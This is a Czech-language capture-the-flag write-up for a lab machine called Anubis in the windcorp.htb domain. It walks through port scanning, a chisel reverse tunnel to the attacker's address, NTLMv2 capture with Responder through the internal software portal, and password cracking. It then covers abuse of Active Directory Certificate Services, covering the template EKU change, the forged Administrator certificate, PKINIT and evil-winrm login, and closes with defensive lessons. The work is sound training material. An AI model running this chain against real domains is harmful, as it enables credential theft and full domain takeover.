Anubis
Úvod a kontext
Anubis je hlavně o laterálním pohybu v doméně a o zneužití Active Directory Certificate Services. První vstup vede přes interní software portal a odchyt NTLM autentizace, ale skutečný dopad se ukáže až ve chvíli, kdy se podaří upravit certifikační šablonu a vystavit certifikát pro Administrator.
Didakticky je na tomhle stroji důležité, že user a root část nejsou oddělené dvěma různými exploity. Jde o jeden souvislý AD řetězec: od webového footholdu, přes interní host earth, až po PKINIT s podvrženým certifikátem.
Počáteční průzkum
Vyhledání otevřených portů
Na začátku mapuji externě dostupné služby.
IP=10.10.11.102;ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49714/tcp open msrpc Microsoft Windows RPC
TLS certifikát a další artefakty ukazují na doménu windcorp.htb a interní hosty.
Foothold přes web a interní portál
Tady se opírám o zneužití webového endpointu pro spuštění příkazů (ASP payload). Pro stabilnější přístup jsem použil reverzní SOCKS tunel přes chisel.
./chisel server -p 8080 --reverse
cmd /c chisel_windows_amd64.exe client 10.10.14.7:8080 R:socks
Následně přes proxy vyvolám požadavek na interním instalačním endpointu, který vede na odchyt NTLMv2.
proxychains -f proxychains4.conf curl "http://softwareportal.windcorp.htb/install.asp?client=10.10.14.7&software=7z1900-x64.exe"
python3 ./Responder/Responder.py -I tun0
[WinRM] NTLMv2 Username : windcorp\localadmin
[WinRM] NTLMv2 Hash : __CENSORED__
Prolomení hashe a přístup do interní sítě
john --wordlist=/usr/share/wordlists/rockyou.txt hash
__CENSORED__
Po prolomení hesla účtu localadmin jsem ověřil dostupné SMB share přes tunel:
proxychains -f proxychains4.conf smbclient -L 172.28.224.1 -U localadmin
ADMIN$
C$
CertEnroll
NETLOGON
SYSVOL
Shared
Získání přístupu
Získání user flagu
Po laterálním pohybu na host earth:
more user.txt
__CENSORED__
Enumerace AD CS
Pro další posun je důležitý obsah CertEnroll a šablony certifikátů.
dir \\earth\CertEnroll
earth.windcorp.htb_windcorp-CA.crt
windcorp-CA.crl
...
Z technického kontextu je patrné, že bylo možné upravit parametry šablony Web tak, aby šla zneužít pro autentizaci privilegovaného účtu.
powershell
$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
Set-ADObject "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb" -Add @{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}
Vystavení certifikátu pro Administrator
Vytvořím CSR s UPN administrator@windcorp.htb a požádám CA o certifikát.
openssl req -config admin.cnf -subj "/DC=htb/DC=windcorp/CN=Users/CN=Administrator" -new -nodes -sha256 -out admin.req -keyout admin.key
certreq.exe -submit -config earth.windcorp.htb\windcorp-CA -attrib "CertificateTemplate:Web" admin.req admin.cer
PKINIT a přístup jako Administrator
S vystaveným certifikátem nastavím Kerberos (krb5.conf) a získám TGT přes PKINIT.
proxychains -f proxychains4.conf kinit -X X509_user_identity=FILE:kinit/admin.cer,kinit/admin.key Administrator@WINDCORP.HTB
Potom se přihlásím přes WinRM jako Administrator.
proxychains -f proxychains4.conf evil-winrm -i earth.windcorp.htb -u administrator -r WINDCORP.HTB
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První užitečný posun přinesl interní endpoint
softwareportal.windcorp.htb, který šel zneužít k vynucení NTLM autentizace účtulocaladmin. - Laterální pohyb měl smysl teprve po ověření hesla a přístupu ke sdílením na interním hostu
earth. - Finální kompromitace nevznikla lokální enumerací, ale zneužitím AD CS: úpravou šablony
Web, vystavením certifikátu a následným PKINIT jakoAdministrator.
Co si odnést do praxe
- Interní portály a instalační endpointy nesmějí důvěřovat parametrům, které vedou k odchozí autentizaci nebo ke spuštění souboru z cizího hostu. Přesně takové workflow často otevírá cestu k odchytu NTLM.
- Odchozí autentizaci a starší NTLM scénáře je potřeba omezit co nejvíc. Jakmile server lze přimět, aby sáhl na útočníkův share, útočník často získá materiál pro další laterální pohyb.
- AD CS je bezpečnostní hranice, ne jen podpůrná služba. Práva k úpravě šablon, EKU a issuance workflow je nutné auditovat stejně přísně jako členství v privilegovaných skupinách.